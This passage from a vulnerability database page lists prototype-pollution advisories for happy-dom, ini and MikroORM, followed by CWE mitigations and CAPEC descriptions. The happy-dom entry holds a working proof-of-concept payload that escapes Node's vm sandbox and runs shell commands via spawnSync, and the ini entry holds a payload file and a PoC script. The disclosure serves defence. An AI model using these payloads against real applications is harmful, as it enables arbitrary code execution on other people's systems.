    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34221"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mikro-orm/mikro-orm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MikroORM has Prototype Pollution in Utils.merge"
}

GHSA-QPM2-6CQ5-7PQ5

Vulnerability from github – Published: 2025-10-15 20:29 – Updated: 2025-11-27 08:54
VLAI
Summary
happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript
Details

Summary

The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.

Details

The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).

PoC

Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().

import { Browser } from "happy-dom";

const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});

page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
    function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} 
    this.constructor.constructor.__proto__.__proto__.toString = f;
    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf

</script>
<body>Hello world!</body></html>`;

await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));

Impact

Arbitrary code execution via breaking out of the Node.js' vm isolation.

Recommended Immediate Actions

Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.

Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.

Severity
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "happy-dom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "19.0.0"
            },
            {
              "fixed": "20.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62410"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-15T20:29:04Z",
    "nvd_published_at": "2025-10-15T18:15:40Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.\n\n### Details\nThe untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like \"process\" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).\n\n### PoC\nAttackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., \"process\". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().\n\n```js\nimport { Browser } from \"happy-dom\";\n\nconst browser = new Browser({settings: {enableJavaScriptEvaluation: true}});\nconst page = browser.newPage({console: true});\n\npage.url = \u0027https://example.com\u0027;\nlet payload = \u0027spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined\u0026\u0026(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c\u003ca.stdio.length;c++){var e=a.stdio[c]\u0026\u0026a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output\u0026\u0026a.encoding\u0026\u0026a.encoding!==`buffer`)for(c=0;c\u003cb.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output\u0026\u0026b.output[1],b.stderr=b.output\u0026\u0026b.output[2],b.error\u0026\u0026(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};\u0027\npage.content = `\u003chtml\u003e\n\u003cscript\u003e\n    function f() { let process = this; ${payload}; spawnSync(\"touch\", [\"success.flag\"]); return \"success\";} \n    this.constructor.constructor.__proto__.__proto__.toString = f;\n    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;\n    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf\n    \n\u003c/script\u003e\n\u003cbody\u003eHello world!\u003c/body\u003e\u003c/html\u003e`;\n\nawait browser.close();\nconsole.log(`The process object is ${process}`);\nconsole.log(process.hasOwnProperty(\u0027spawn\u0027));\n```\n\n### Impact\nArbitrary code execution via breaking out of the Node.js\u0027 vm isolation.\n\n### Recommended Immediate Actions\nUsers can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to [isolated-vm](https://github.com/laverdet/isolated-vm) is suggested instead.\n\nCris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.",
  "id": "GHSA-qpm2-6cq5-7pq5",
  "modified": "2025-11-27T08:54:46Z",
  "published": "2025-10-15T20:29:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-qpm2-6cq5-7pq5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62410"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/commit/f4bd4ebe3fe5abd2be2bcea1c07043c8b0b70eea"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/capricorn86/happy-dom"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "happy-dom\u0027s `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript"
}

GHSA-QQGX-2P2H-9C37

Vulnerability from github – Published: 2020-12-10 16:53 – Updated: 2022-12-03 03:55
VLAI
Summary
ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
Details

Overview

The ini npm package before version 1.3.6 has a Prototype Pollution vulnerability.

If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

Patches

This has been patched in 1.3.6.

Steps to reproduce

payload.ini

[__proto__]
polluted = "polluted"

poc.js:

var fs = require('fs')
var ini = require('ini')

var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)

> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted
Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ini"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-12-10T16:51:39Z",
    "nvd_published_at": "2020-12-11T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Overview\nThe `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability.\n\nIf an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.\n\n### Patches\n\nThis has been patched in 1.3.6.\n\n### Steps to reproduce\n\npayload.ini\n```\n[__proto__]\npolluted = \"polluted\"\n```\n\npoc.js:\n```\nvar fs = require(\u0027fs\u0027)\nvar ini = require(\u0027ini\u0027)\n\nvar parsed = ini.parse(fs.readFileSync(\u0027./payload.ini\u0027, \u0027utf-8\u0027))\nconsole.log(parsed)\nconsole.log(parsed.__proto__)\nconsole.log(polluted)\n```\n\n```\n\u003e node poc.js\n{}\n{ polluted: \u0027polluted\u0027 }\n{ polluted: \u0027polluted\u0027 }\npolluted\n```",
  "id": "GHSA-qqgx-2p2h-9c37",
  "modified": "2022-12-03T03:55:11Z",
  "published": "2020-12-10T16:53:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7788"
    },
    {
      "type": "WEB",
      "url": "https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/npm/ini"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00032.html"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-INI-1048974"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1589"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse"
}
Mitigation
Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation
Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation
Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation
Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation
Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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